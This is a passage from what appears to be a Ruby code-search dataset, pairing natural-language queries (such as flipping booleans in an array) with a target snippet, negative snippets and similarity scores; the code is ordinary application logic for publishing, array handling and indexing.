"def publish!\n self.published = true\n if self.respond_to?(:publish_on)\n self.publish_on ||= Date.today\n end\n self.save\n end",
"def set_published_state; end",
"def publish\n status_id = STATUSES.index('published')\n set_published_at\n end",
"def publish!\n @new = true if self.private?\n self.status = statuses.public\n self.save!\n end",
"def publish\n set_publish(true)\n end",
"def publish\n if self.draft\n self.published_at = nil\n else\n self.published_at ||= DateTime.now\n end\n end",
"def publish!\n raise 'Not implemented!'\n end",
"def publish!\r\n publish\r\n save!\r\n end",
"def publish\n set_publish_state(Event::PUBLISHED_STATE)\n end",
"def publish!\n publish\n save\n end",
"def publish\n return true if self.published_at\n\n if self.new_record?\n return false unless self.save\n end\n\n self.published_at = Time.now\n self.save\n end",
"def publish\r\n return if published?\r\n self.publish_at = Time.now\r\n self.unpublish_at = nil\r\n end",
"def unpublished; end",
"def publish_now!\n puts 'publish noew...'\n self.status = Post::PUBLISHED\n self.published_at = self.publish_at\n save!\n end",
"def publish_now!\n self.status = Micropost::PUBLISHED\n self.published_at = self.publish_at\n save!\n end",
"def publisher\n end",
"def publish_now\n self.publish_at = Time.now.utc\n self.save!\n end",
"def p_publish( obj )\n puts \"## Page: #{ obj.link }, updated #{ obj.updated }\"\n end",
"def published_post\n if self.published && self.published_at.nil?\n self.published_at = Time.now\n end\n end",
"def bulk_published\n true\n end",
"def published!\n self.update_attribute(:status, PUBLISHED)\n end",
"def publish\r\n if update_attribute('published', true)\r\n log_activity\r\n true\r\n else\r\n false\r\n end\r\n end",
"def publish\n p = Page.find_by_id(params[:id])\n p.published_on = Time.now\n p.save!\n respond_with p, :location => nil\n end",
"def publish!\n return true if published?\n publish_status!\n end",
"def publisher; end",
"def publisher; end",
"def publication\n nil\n end",
"def can_publish?\n !published_at\n end",
"def published?\n published.eql?(true)\n end",
"def published?\n if self.publish_at < Time.now.utc\n true\n else\n false\n end\n end",
"def published?\n self.published\n end",
"def publish!\n return false unless published_at.nil?\n\n update_column :published_at, Time.zone.now\n end",
"def can_publish?\n\t\ttrue\n\tend",
"def publish\n self.update_attributes(status: STATUS_PUBLISHED)\n end",
"def published_at\n object.created_at.strftime(\"%d %b %Y\")\n end",
"def publish(_ = nil)\n answers.each do |answer|\n answer.publish! if answer.submitted?\n end\n self.publisher = User.stamper || User.system\n self.published_at = Time.zone.now\n end",
"def publish!\n self.update_attribute(:status, PUBLISHED)\n end",
"def publish!\n self.update_attribute(:status, PUBLISHED)\n end",
"def publish!\n self.update_attribute(:status, PUBLISHED)\n end",
"def publish!\n self.update_attribute(:status, PUBLISHED)\n end",
"def publish_directly\n publish!\n end",
"def check_published\n \n if self.publishing_state == PublishingState::PUBLISHED\n self.publishing_date = Time.now\n self.publishing_publisher = connected_user.username\n end\n\n end",
"def published() @feed.read_attribute(:published); end",
"def published?\n # He I don't use the static attr because a finished tip is also published\n !!self.published_at\n end",
"def check_if_published_changed\n if \"published\".in? self.changed\n self.published_at = published ? Time.now : nil\n end\n end",
"def published\n @pages = Page.published\n respond_with(@pages)\n end",
"def publish!(entry)\n # no-op (for now)\n end",
"def method_added(name)\n super(name) if defined?(super)\n published(name) if @publishing\n end",
"def publish\n update!(email_status: \"verified\", published_at: Time.now.utc)\n end",
"def date_published\n created_at.strftime(\"%b %d, %Y\")\n end",
"def show\n published_check\n end",
"def publish?\n false\n end",
"def published_at\n self[:published_at] ||= if created_at?\n created_at\n else\n Time.now.utc\n end\n end",
"def unpublished=(_arg0); end",
"def publish\n load_resource\n resource_instance_variable.public = true\n resource_instance_variable.save\n flash[:notice] = t(\"page_published\", :name => resource_instance_variable.name)\n redirect_back_or_to_default(resources_path)\n end",
"def published?\n (status == PUBLISHED)\n end",
"def published?\n (status == PUBLISHED)\n end",
"def published?\n (status == PUBLISHED)\n end",
"def published?\n (status == PUBLISHED)\n end",
"def published?\n (status == PUBLISHED)\n end",
"def publication_place\n end",
"def published?\n if self.status == \"live\"\n true\n else\n false\n end\n end",
"def unpublish\n self.published = false\n end",
"def published?\n self.published_at.present?\n end",
"def publication_date\n end",
"def published?\n published_at && published_at == edited_at\n end",
"def published?\n published_at && published_at == edited_at\n end",
"def publish_changes\n return unless resource.valid?\n private_publish resource\n end",
"def publish_now(email, password)\n self.state = :published\n return edit(email,password) if post_id\n write(email,password)\n end",
"def published?\n is_published && Time.at(publish_at.to_i).to_datetime <= DateTime.now\n end",
"def create\n @published = Published.new(params[:published])\n\n respond_to do |format|\n if @published.save\n format.html { redirect_to @published, notice: 'Published was successfully created.' }\n format.json { render json: @published, status: :created, location: @published }\n else\n format.html { render action: \"new\" }\n format.json { render json: @published.errors, status: :unprocessable_entity }\n end\n end\n end",
"def published_or_not\n self.published = (self.published_at <= Time.now and self.unpublished_at >= Time.now) ? 1 : 0\n end",
"def published?\n !published_at.nil?\n end",
"def published\n if self.delivery_options.publishable.present?\n meth = \"published_by_#{self.delivery_options.publishable.to_s}\"\n return self.send(meth.to_sym)\n end\n where(:published => true)\n end",
"def published?\n published_at.present?\n end",
"def pubsub; end",
"def newly_published?\n !!@newly_published\n end",
"def with_published(obj)\n yield if obj.published?\n end",
"def published?\n published == true || published == \"1\" || published == \"t\" || published == \"true\"\n end",
"def published?\n status == Status[:published]\n end",
"def publish\n @page = Page.find(params[:id])\n @page.published_on = Time.now\n @page.save\n\n respond_to do |format|\n format.json {render json: @pages}\n format.xml {render xml: @pages}\n end\n end",
"def publish( message )\n raise NotImplementedError, \"please implement 'publish'\"\n end",
"def published!(details)\n node = @meta.at_xpath('./a:publication', a: NS)\n unless node\n node = @doc.create_element('publication')\n @meta.at_xpath('./a:identification', a: NS).after(node)\n end\n\n node['showAs'] = details[:name] if details.has_key? :name\n node['name'] = details[:name] if details.has_key? :name\n node['date'] = details[:date] if details.has_key? :date\n node['number'] = details[:number] if details.has_key? :number\n end",
"def publish(*args)\n Iodine.publish *args\n end",
"def publishable?\n false\n end",
"def is_published?\n self.publishing_state == PublishingState::PUBLISHED\n end",
"def become_public\n page.touch(:published_at)\n activate!\n end",
"def published?\n sys[:publishedAt] ? true : false\n end",
"def is_published?\n return false if self.published_on.nil?\n return true if self.published_on <= Time.now.beginning_of_day\n return false\n end",
"def publish_n_unpublish\n @object = params[:class_name].constantize.find(params[:id])\n @object.update(published: [email protected]) if @object.author?(current_user)\n end",
"def publish_datetime\n self.article.try(:published_at) || self.created_at\n end"
] | [
"0.82585144",
"0.82585144",
"0.791422",
"0.749175",
"0.749175",
"0.749175",
"0.7422619",
"0.74172765",
"0.73913914",
"0.73694944",
"0.7273529",
"0.7256452",
"0.7248288",
"0.71860087",
"0.715729",
"0.7140328",
"0.71381885",
"0.7054662",
"0.7054168",
"0.7049084",
"0.70412326",
"0.6986074",
"0.6975979",
"0.69638455",
"0.6953052",
"0.6942813",
"0.6924226",
"0.6846903",
"0.6823968",
"0.6818294",
"0.681699",
"0.6800475",
"0.6799634",
"0.6779575",
"0.6777312",
"0.6777312",
"0.6759486",
"0.6746354",
"0.67436457",
"0.6724916",
"0.67002344",
"0.6666828",
"0.66490203",
"0.66406304",
"0.66357464",
"0.6628774",
"0.6626699",
"0.6626699",
"0.6626699",
"0.6626699",
"0.6611319",
"0.6608601",
"0.66061014",
"0.66015935",
"0.6592899",
"0.65894675",
"0.6587584",
"0.6587426",
"0.6586987",
"0.6575234",
"0.65712684",
"0.6555373",
"0.6555259",
"0.65438855",
"0.6536857",
"0.65306973",
"0.65306973",
"0.65306973",
"0.65306973",
"0.65306973",
"0.65230274",
"0.6501931",
"0.6495464",
"0.64845604",
"0.648354",
"0.643518",
"0.643518",
"0.6413762",
"0.64116335",
"0.6410052",
"0.6409466",
"0.64090085",
"0.6408144",
"0.6398833",
"0.6398503",
"0.63912314",
"0.63906866",
"0.6372317",
"0.6371488",
"0.63709664",
"0.6366181",
"0.63438123",
"0.6343399",
"0.6340187",
"0.633529",
"0.6324477",
"0.63150847",
"0.6307891",
"0.6301856",
"0.6301615",
"0.6296383"
] | 0.0 | -1 |
flip the booleans in an array according to according | def flip_switches(num)
i = num
until i >= $switches.length
$switches[i] = !$switches[i]
i += num
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flip_flop(trueValue, falseValue)\n map! do |truth|\n truth ? trueValue : falseValue\n end\n end",
"def bit_flip(arr, n)\n #YOUR WORK HERE\nend",
"def boolean_to_binary(array)\nend",
"def flip_tile(ind, bool)\n\t\t@tile_Array[ind].flip(bool)\n\tend",
"def light_switcher(array, inc)\n counter = 0\n\n while counter < array.length\n array[counter] = !array[counter] if (counter + 1) % inc == 0\n counter += 1\n end\n\n array\nend",
"def boolean_to_binary(arr)\n result = ''\n i = 0\n while i < arr.length\n result << '1' if arr[i]\n result << '0' if !arr[i]\n i += 1\n end\n return result\nend",
"def flip!\n @flipped = !@flipped\n end",
"def flip( bool )\n\t\t@flipped = bool\n\tend",
"def flip_vertically(array)\n\tif array[1].kind_of?(Array)\n\t\tarray.reverse!\n\tend\n\n\treturn array\nend",
"def old_boolean_to_binary(arr)\n binary = \"\"\n\n arr.each do |boolean|\n if boolean\n binary += \"1\"\n else\n binary += \"0\"\n end\n end\n\n binary\nend",
"def reverse_array(array)\n flipped = []\n array.each{ |el| flipped.unshift(el) }\n flipped\nend",
"def forward_pass(array, compare)\n swapped = false\n 0.upto(array.length - 2) do |i|\n if compare.call(array[i], array[i + 1]) > 0\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n [array, swapped]\nend",
"def boolean_to_binary(arr)\r\n\r\n binary = \"\"\r\n\r\n # iteration each method\r\n arr.each {|bool|\r\n if bool == true\r\n\r\n # bool true to binary 1\r\n binary << \"1\"\r\n else\r\n\r\n # bool false to binary 0\r\n binary << \"0\"\r\n end }\r\n\r\n binary\r\nend",
"def flip(index)\n value = @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0 \n if value == 0\n @bits[index/@@wordBits] |= @bitMask[index % @@wordBits]\n else\n @bits[index/@@wordBits] &= (@bitMask[index % @@wordBits] ^ @xorMask)\n end\n end",
"def flip(orientations)\n new_orientations = []\n orientations.each do |o|\n new_orientations << o.map(&:reverse)\n new_orientations << o.reverse\n end\n orientations.concat(new_orientations)\nend",
"def flip(b, p)\n bits = p.unpack('b*').first\n bits[b] = bits[b] == '1' ? '0' : '1'\n [bits].pack('b*')\n end",
"def op_flip\n pop(2).each{|e| push(e)}\n end",
"def flip_horizontally(array)\n\tif array[1].kind_of?(Array)\n\t\tfor item in array\n\t\t\titem.reverse!\n\t\tend\n\telse \n\t\tarray.reverse!\n\tend\n\treturn array\nend",
"def flip_switcher(n)\n switch_bank = []\n n.times { switch_bank << false }\n switches_on = []\n counter = 1\n\n loop do\n break if counter > switch_bank.length\n\n switch_bank.each_with_index do | switch, position |\n switch_bank[position] = !switch if (position + 1) % counter == 0\n end\n counter += 1\n end\n # Not quite rigth because I want to push the index not the actual object\n switch_bank.each.with_index do |switch, idx|\n switches_on << idx + 1 if switch == true\n end\n switches_on\nend",
"def flip\n arr = Array.new(self.length)\n (0..self.length / 2).each do |index|\n arr[index] = self[self.length - 1 - index]\n arr[self.length - 1 - index] = self[index]\n end\n arr\n end",
"def reverse_pass(array, compare)\n swapped = false\n (array.length - 2).downto(0) do |i|\n if compare.call(array[i], array[i + 1]) > 0\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n [array, swapped]\nend",
"def default_flip\n return false\n end",
"def default_flip\n return false\n end",
"def setup_flip\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n if @acts[1] == :toggle\n @flip = !@flip \n elsif @acts[1] == :ori\n @flip = default_flip\n else\n @flip = @acts[1]\n end\n end",
"def flip\n __flip__\n end",
"def invert!\n @cards.values.each {|c| c.invert! }\n end",
"def swap_elements_from_to(array,a,b)\n array[a] = array[a]^array[b]\n array[b] = array[b]^array[a]\n array[a] = array[a]^array[b]\nend",
"def flip_horizontal(matrix)\n matrix.map(&:reverse)\n end",
"def reduce_to_all_true(array)\n if array.include? false\n false\n elsif array.each.include? true\n true\n end\nend",
"def flipped?\n return @flipped\n end",
"def toggle!(indexes)\n Array(indexes).each do |index|\n validate_index(index)\n @bits ^= (1 << index)\n end\n end",
"def swap\n us = self.pop(true,false)\n them = self.pop(false,false)\n self.push(us,false,false)\n self.push(them,false,true)\n end",
"def swap(array, i, j)\n array[i], array[j] = array[j], array[i]\n [array, false]\nend",
"def setup_flip\n return unless PONY::ERRNO::check_sequence(current_act)\n if @acts[1] == :toggle\n @flip = !@flip \n elsif @acts[1] == :ori\n @flip = default_flip\n else\n @flip = @acts[1]\n end\n end",
"def reverse_every_element_in_array(array)\n array.map!{|element|element.reverse}\nend",
"def reverse_every_element_in_array(arr)\n arr.map(&:reverse!)\nend",
"def match_maker setter, *args\n pairs = []\n args.to_a.each_slice(2) do |a,b|\n a = !!a#this will set show if the value is true or false. Nil is false.\n b = !!b\n if a == b\n pairs << true\n else\n pairs << false\n end\n end\n if setter == true#reverse the result if true\n pairs.map! do |i|\n i = !i\n end\n end\n p pairs\nend",
"def inverse(start=0)\n start = 0 if [true, false].include?(start) and start\n self.transpose(-1, true).transpose(start+1)\n end",
"def exercise_1111 (bool_values)\n end",
"def battler_flip\n (custom_flip? ? false : @flip)\n end",
"def battler_flip\n (custom_flip? ? false : @flip)\n end",
"def reverse_array(array)\n array.reverse!\nend",
"def reverse_array(array)\n array.reverse!\nend",
"def invert(list)\n list.map(&:-@)\nend",
"def rotate_90(array)\n a = copy array\n a.transpose.map { |e| e.reverse }\nend",
"def reverse_array(array)\n array.reverse!\n array\nend",
"def reverse_array(array_int)\n array_int.reverse!\nend",
"def invert() end",
"def invert(list)\n for i in 0..list.length-1\n list[i] *= -1 unless list[i] == 0\n end\n list\nend",
"def setup_targets_flip\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n if area_flag\n target_array.each do |target|\n target.flip = @acts[1]\n end\n return\n end\n target.flip = @acts[1]\n end",
"def flip\n ->(f) {\n _reverse = ->(xs) {\n xs.length == 1 ? xs : [xs[-1]] + _reverse.(xs[0...-1])\n }\n\n ->(*args) {\n f.(*_reverse.(args))\n }\n }\n end",
"def reduce_to_all_true(source_array)\nend",
"def reverse_array(array_new)\n array_new.reverse \n end",
"def switchPairs(array)\n\n\tif array.length == 0 || array == nil\n\t\treturn nil\n\tend\n\n\ti = 0\n\n\twhile array[i+1] != nil\n\t\tarray[i+1], array[i] = array[i], array[i+1]\n\t\ti += 2\n\tend\n\t\n\n\treturn array\nend",
"def flip_vertically\n dup.flip_vertically!\n end",
"def transpose\n @column = @column ? false : true\n end",
"def flip(dir, boxes)\n dir == 'R' ? boxes.sort : boxes.sort.reverse\nend",
"def ping_pong_filter(arr)\n result = arr.dup\n while result.length > 1\n result = result.select.with_index do |el, idx|\n el if idx % 2 != 0\n end\n result = result.reverse\n end\n result\nend",
"def swap_pairs(array)\nend",
"def reverse_array(a)\n a.reverse{|b| b}\nend",
"def swap_elements(array)\n swap_2 = array[1]\n swap_3 = array[2]\n ans = array\n \n ans[2] = swap_2\n ans[1] = swap_3\n \n ans\nend",
"def reverse!(array)\n copy_array = array.dup\n array.map! { |_| copy_array.pop }\nend",
"def flip_vertical(matrix)\n matrix.reverse\n end",
"def flip!\n left = @left\n right = @right\n @right = left\n @left = right\n end",
"def xor?(bool1, bool2)\n !!bool1 != !!bool2\nend",
"def reverse_array(i)\r\n i.reverse!\r\nend",
"def invert; end",
"def reverse!(arr)\n arr.each do |element|\n arr.delete(element)\n arr.unshift(element)\n end\nend",
"def invert\n end",
"def random_boolean_array(elements)\r\n remaining = elements\r\n arr = []\r\n while remaining > 0\r\n arr.push random_boolean\r\n remaining -= 1\r\n end\r\n return arr\r\n end",
"def reverse_every_element_in_array(array)\n array.map(&:reverse)\nend",
"def rotate_backwards(arr)\n\nend",
"def reverse!(arr)\n (arr.length/2).times do |index|\n reverse_index = (index + 1) * -1\n arr[index], arr[reverse_index] = arr[reverse_index], arr[index]\n end\n arr\nend",
"def init_truth(array, width)\r\n row = 0 # used to keep track of which row currently accessing\r\n column = 0 # used to keep track of which column currently accessing\r\n size = width - 1 # used to keep track of how many T/F values to place\r\n height = 2 ** width # used to know when to break inner for loop\r\n while column < width # iterate through one column at a time\r\n iterations = 2** size # used to set number of true values to place in row\r\n second_iteration = 0 # used to set number of false values to place\r\n while row < height # while not at end of column\r\n if iterations > 0 # if iterations less than 0, set to true\r\n array[row][column] = 1 # setting current index to true\r\n iterations = iterations - 1 # decrement number of true values left to place\r\n row = row + 1 # increment row currently in\r\n second_iteration = 2** size if iterations == 0 # if no more trues to place, set how many falses to place\r\n else # set false values\r\n array[row][column] = 0 # setting current index to false\r\n second_iteration = second_iteration - 1 # decrement number of false values left to place\r\n row = row + 1 # increment row currently in\r\n iterations = 2** size if second_iteration == 0 # if no more false values to place, set how many trues to place\r\n end\r\n end # end of inner while loop\r\n column = column + 1 # increment column\r\n size = size - 1 # decrement size to decrement number of t/f's to place in a column\r\n row = 0 # reset row # go back to top row\r\n end # end of outter while loop\r\nend",
"def reduce_to_all_true(source_array)\n i = 0\n\n while i < source_array.length do\n if source_array[i] == false\n return false\n end\n i += 1\n end\n \n return true\nend",
"def reverse_array(array)\narray.reverse\nend",
"def reverse_array(array)\narray.reverse\nend",
"def reverse_array(array)\narray.reverse\nend",
"def flip\n @facing_up = !@facing_up\n self\n end",
"def flipud\n reverse(0)\n end",
"def yes_mutate(arr)\n arr.uniq!\nend",
"def yes_mutate(arr)\n arr.uniq!\nend",
"def yes_mutate(arr)\n arr.uniq!\nend",
"def remove_nils_and_false_from_array(arr)\n reformed_array = []\n index = 0\n arr.each do |entry|\n if entry != nil && entry != false\n reformed_array.insert(index, entry)\n index += 1\n end\n end \n return reformed_array\nend",
"def reverse_array(array)\n\tarray.reverse\nend",
"def remove_nils_and_false_from_array(array)\n\tn = ['a', 'b', nil, nil, false, 'c', nil]\n\tn.keep_if { |letter| letter != nil && letter != false }\nend",
"def reduce_to_all_true(array)\n counter = 0;\n while counter < array.length do\n return false if !array[counter];\n counter += 1;\n end\n return(true);\nend",
"def reverse!(array)\n iteration = array.length / 2\n iteration.times do |index|\n array[index], array[-index - 1] = array[-index - 1], array[index]\n end\n array\nend",
"def proctition(arr, &prc)\n true_arr = []\n false_arr = []\n\n arr.each do |ele|\n if prc.call(ele)\n true_arr << ele\n else\n false_arr << ele\n end\n end\n true_arr.concat(false_arr)\nend",
"def reverse_array(array)\n array.reverse \nend",
"def alternate_order(array)\n array.select{ |a| a % 2 != 0 }\nend",
"def flip_horizontally\n dup.flip_horizontally!\n end",
"def dutch_flag(arr)\n i = 0\n j = 0\n k = arr.length - 1\n\n while j <= k\n if arr[j] == \"R\"\n arr[i], arr[j] = arr[j], arr[i]\n i += 1\n j += 1\n elsif arr[j] == \"W\"\n j += 1\n elsif arr[j] == \"B\"\n arr[j], arr[k] = arr[k], arr[j]\n k -= 1\n end\n end\n\n arr\nend",
"def match_maker(a, *b)\n\tarray = (0...b.count).to_a\n\tnew_array = []\n\tanswer = []\n\tarray.each_slice(2){ |i| new_array << i }\n\t\nif a == false\n\tnew_array.each { |i| \n\t\tb[i[0]], b[i[1]] = !!b[i[0]], !!b[i[1]]\n\t\tb[i[0]] == b[i[1]] ? answer << true : answer << false }\n\nelsif a == true\n\tnew_array.each { |i|\t\t\n\t\tb[i[0]], b[i[1]] = !!b[i[0]], !!b[i[1]]\n\t\tb[i[0]] != b[i[1]] ? answer << true : answer << false }\nelse\nend\nanswer\nend",
"def flip(options = {})\n self.flipX = options[:x] if options.include?(:x)\n self.flipY = options[:y] if options.include?(:y)\n end",
"def reverse_array(int_array)\n int_array.reverse\nend",
"def swap_elements(any_array)\n any_array[1], any_array[2] = any_array[2], any_array[1]\n any_array\n end",
"def array_transform(array)\n\tb = []\n\tarray.each_index do |i|\n\t\tb.push(array[i]+array[i-1])\tif i > 0\n\tend\n\treturn b.unshift(1).push(1)\nend",
"def default_flip\n result = TSBS::Enemy_Default_Flip\n toggler = (!data_battler.note[DefaultFlip].nil? rescue result)\n result = !result if toggler != result\n return result\n end",
"def reduce_to_all_true(source_array) \n i = 0\n while i < source_array do\n return false if !source_array[i]\n i += 1\n end\nend"
] | [
"0.677943",
"0.6636109",
"0.66332895",
"0.6566851",
"0.65651184",
"0.6488837",
"0.63748276",
"0.6365348",
"0.6363186",
"0.6250546",
"0.62411255",
"0.62399435",
"0.6238359",
"0.62007093",
"0.6168811",
"0.6166687",
"0.613707",
"0.61345774",
"0.6089579",
"0.6077613",
"0.5985493",
"0.59848475",
"0.59848475",
"0.59455365",
"0.5933417",
"0.59242225",
"0.5898439",
"0.5873284",
"0.5841677",
"0.5840818",
"0.58239776",
"0.5810097",
"0.5807762",
"0.5798419",
"0.5676625",
"0.5670265",
"0.5621954",
"0.5620005",
"0.5590935",
"0.5589637",
"0.5589637",
"0.55823827",
"0.55823827",
"0.5567062",
"0.5553415",
"0.5547301",
"0.55404234",
"0.55335134",
"0.5515302",
"0.551272",
"0.54761994",
"0.54446673",
"0.54282135",
"0.54240954",
"0.54181725",
"0.5415546",
"0.54087764",
"0.5402255",
"0.53973174",
"0.5394747",
"0.53829145",
"0.53661513",
"0.53642744",
"0.5364075",
"0.5361809",
"0.5347147",
"0.5346482",
"0.53462684",
"0.5326854",
"0.53225493",
"0.53075755",
"0.5306805",
"0.52996904",
"0.52988595",
"0.52968603",
"0.5292376",
"0.5292376",
"0.5292376",
"0.5288509",
"0.5285651",
"0.52813315",
"0.52813315",
"0.52813315",
"0.52793896",
"0.52746856",
"0.52700746",
"0.52690977",
"0.5259976",
"0.52497655",
"0.5230035",
"0.52225256",
"0.52213013",
"0.52185273",
"0.521633",
"0.5208201",
"0.52055776",
"0.52030206",
"0.5202697",
"0.5199461",
"0.51943815"
] | 0.5714899 | 34 |
We allow document series to be assigned directly on an edition for speed tagging | def document_series_ids=(ids)
raise(StandardError, 'cannot assign document series to an unsaved edition') unless persisted?
document.document_series_ids = ids
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_series\n @series = Series.find(params[:id])\n @cv = ControlledVocabulary.physical_object_cv('Film')\n @l_cv = ControlledVocabulary.language_cv\n end",
"def doc_series=(doc_series)\n if !doc_series.nil? && doc_series.to_s.length > 64\n fail ArgumentError, 'invalid value for \"doc_series\", the character length must be smaller than or equal to 64.'\n end\n\n @doc_series = doc_series\n end",
"def set_series\n @series = Series.friendly.find(params[:id])\n end",
"def set_article\n @series = Series.find(params[:id])\n end",
"def set_series\n @collection = Collection.find(params[:id])\n end",
"def add_series\n @bib.series.each do |s|\n case s.type\n when \"journal\"\n @item.journal = s.title.title\n @item.number = s.number if s.number\n when nil then @item.series = s.title.title\n end\n end\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def set_series\n @series = Series.find(params[:id])\n end",
"def set_series\n @serie = Serie.find(params[:id])\n end",
"def series_issue\n end",
"def set_series\n @series = Serie.find(params[:id])\n end",
"def index_suppressed(solr_document)\n solr_document[suppressed_field] = object.suppressed?\n end",
"def set_bookseries\n @bookseries = Bookseries.find(params[:id])\n end",
"def change_series\n return unless request.xhr?\n serie_id = params[:serie_id]\n @quotation_line = QuotationLine.new(params[:quotation_line])\n @openings = {} #params[:openings]\n @section_height = params[:section_height] || {}\n @section_width = params[:section_width] || {}\n @serie = Serie.includes(:options => [:pricing_method, :options_minimum_unit]).find(serie_id)\n initialize_options_for_series()\n end",
"def series_params\n params.require(:collection).permit(:title, :volume_count, :author, :description, :release_year)\n end",
"def series_params\n params.require(:series).permit(:name, :description, :logo, :feeds_id, :calendar_id)\n end",
"def set_series_event\n @series_event = SeriesEvent.find(params[\"id\"] || params[\"series_event_id\"])\n end",
"def series_params\n params.require(:series).permit(:title, :summary, :created_by_id, :modified_by_id, :production_number, :total_episodes, :date)\n end",
"def set_engine_tag\n @engine_tag = EngineTag.find(params[:id])\n end",
"def set_series\n @episode = Episode.find(params[:id])\n end",
"def seriesAdded\n tag_range(\"800\", \"83X\")\n end",
"def generate_solr_document\n super.tap do |solr_doc|\n # Only do this after the indexer has the file_set\n unless object.file_sets.nil?\n load_elections_xml(object)\n if @noko.nil?\n Rails.logger.warn(\"Couldn't find the Voting Record XML for #{solr_doc['id']}\")\n else\n solr_doc['voting_record_xml_tesi'] = @noko.to_xml\n solr_doc['format_ssim'] = 'Election Record' # solr_doc['format_tesim']\n solr_doc['title_ssi'] = solr_doc['title_tesim'].first # solr_doc['title_tesi']\n\n solr_doc['party_affiliation_sim'] = get_all_vs('//candidate/@affiliation', '//elector/@affiliation')\n solr_doc['party_affiliation_id_ssim'] = get_all_vs('//candidate/@affiliation_id', '//elector/@affiliation_id')\n # solr_doc['party_affiliation_id_ssim'].delete_if { |party_id| Party.find(party_id).nil? }\n\n solr_doc['date_tesim'] = get_all_vs('/election_record/@date')\n solr_doc['date_isi'] = solr_doc['date_tesim'].map(&:to_i).first\n # solr_doc[\"date_sim\"] = date.first[0..3] unless date.first.nil?\n\n solr_doc['office_id_ssim'] = get_v('/election_record/office/@office_id')\n solr_doc['office_role_title_tesim'] = get_all_vs('//role/@title')\n solr_doc['office_name_tesim'] = get_authority_from_nnv(solr_doc['office_id_ssim'], \"office\")\n\n solr_doc['state_name_tesim'] = solr_doc['state_name_sim'] = get_all_vs('//admin_unit[@type=\"State\"]/@name')\n\n solr_doc['election_id_ssim'] = [get_v('/election_record/@election_id')]\n solr_doc['election_type_tesim'] = solr_doc['election_type_sim'] = [get_v('/election_record/@type')]\n\n solr_doc['candidate_id_ssim'] = get_all_vs('//candidate/@name_id')\n solr_doc['candidate_name_tesim'] = get_all_vs('//candidate/@name')\n\n solr_doc['elector_name_tesim'] = get_all_vs(\"//elector/@name\")\n\n solr_doc['jurisdiction_tesim'] = solr_doc['jurisdiction_sim'] = [get_v('/election_record/office/@scope')]\n\n solr_doc['handle_ssi'] = get_v('/election_record/@handle')\n solr_doc['iteration_tesim'] = [get_v('/election_record/@iteration')]\n # solr_doc['page_image_urn_ssim'] = get_all_vs(\"//reference[@type='page_image']/@urn\").uniq\n solr_doc['iiif_page_images_ssim'] = get_iiif_ids(get_all_vs(\"//reference[@type='page_image']/@urn\").uniq)\n\n solr_doc['all_text_timv'] = get_all_text(solr_doc)\n end\n end\n end # End super.tap\n end",
"def set_scn_tag\n\t\t# Creating the limitation for the question tags\n\t\tscn_tag_limit = setting.build_scn_tag(scn_tag_limit: params[:scn_tag_limit])\n\t\t# creating the question tags limit\n\t\tif scn_tag_limit.save\n\t\t# response to the JSON\n\t\t render json: { success: true,message: \"Scn Tag limit Successfully Updated.\",response: {scn_tag_limit: scn_tag_limit.scn_tag_limit.as_json }},:status=>200\n\t else\n\t render :json=> { success: false, message: scn_tag_limit.errors },:status=> 203\n\t end\t\n\tend",
"def edit \n @series = Series.all.map{ |s| [s.name, s.id] }\n \n end",
"def createSeries(createSeriesId, meeting_metadata, real_start_time)\n BigBlueButton.logger.info( \"Attempting to create a new series...\")\n # Check if a series with the given identifier does already exist\n seriesExists = false\n seriesFromOc = requestIngestAPI(:get, '/series/allSeriesIdTitle.json', DEFAULT_REQUEST_TIMEOUT, {})\n begin\n seriesFromOc = JSON.parse(seriesFromOc)\n seriesFromOc[\"series\"].each do |serie|\n BigBlueButton.logger.info( \"Found series: \" + serie[\"identifier\"].to_s)\n if (serie[\"identifier\"].to_s === createSeriesId.to_s)\n seriesExists = true\n BigBlueButton.logger.info( \"Series already exists\")\n break\n end\n end\n rescue JSON::ParserError => e\n BigBlueButton.logger.warn(\" Could not parse series JSON, Exception #{e}\")\n end\n\n # Create Series\n if (!seriesExists)\n BigBlueButton.logger.info( \"Create a new series with ID \" + createSeriesId)\n # Create Series-DC\n seriesDcData = parseDcMetadata(meeting_metadata, getSeriesDcMetadataDefinition(meeting_metadata, real_start_time))\n seriesDublincore = createDublincore(seriesDcData)\n # Create Series-ACL\n seriesAcl = createSeriesAcl(parseAclMetadata(meeting_metadata, getSeriesAclMetadataDefinition(),\n $defaultSeriesRolesWithReadPerm, $defaultSeriesRolesWithWritePerm))\n BigBlueButton.logger.info( \"seriesAcl: \" + seriesAcl.to_s)\n\n requestIngestAPI(:post, '/series/', DEFAULT_REQUEST_TIMEOUT,\n { :series => seriesDublincore,\n :acl => seriesAcl,\n :override => false})\n\n # Update Series ACL\n else\n BigBlueButton.logger.info( \"Updating series ACL...\")\n seriesAcl = requestIngestAPI(:get, '/series/' + createSeriesId + '/acl.xml', DEFAULT_REQUEST_TIMEOUT, {})\n roles = parseAclMetadata(meeting_metadata, getSeriesAclMetadataDefinition(), $defaultSeriesRolesWithReadPerm, $defaultSeriesRolesWithWritePerm)\n\n if (roles.length > 0)\n updatedSeriesAcl = updateSeriesAcl(seriesAcl, roles)\n requestIngestAPI(:post, '/series/' + createSeriesId + '/accesscontrol', DEFAULT_REQUEST_TIMEOUT,\n { :acl => updatedSeriesAcl,\n :override => false})\n BigBlueButton.logger.info( \"Updated series ACL\")\n else\n BigBlueButton.logger.info( \"Nothing to update ACL with\")\n end\n end\nend",
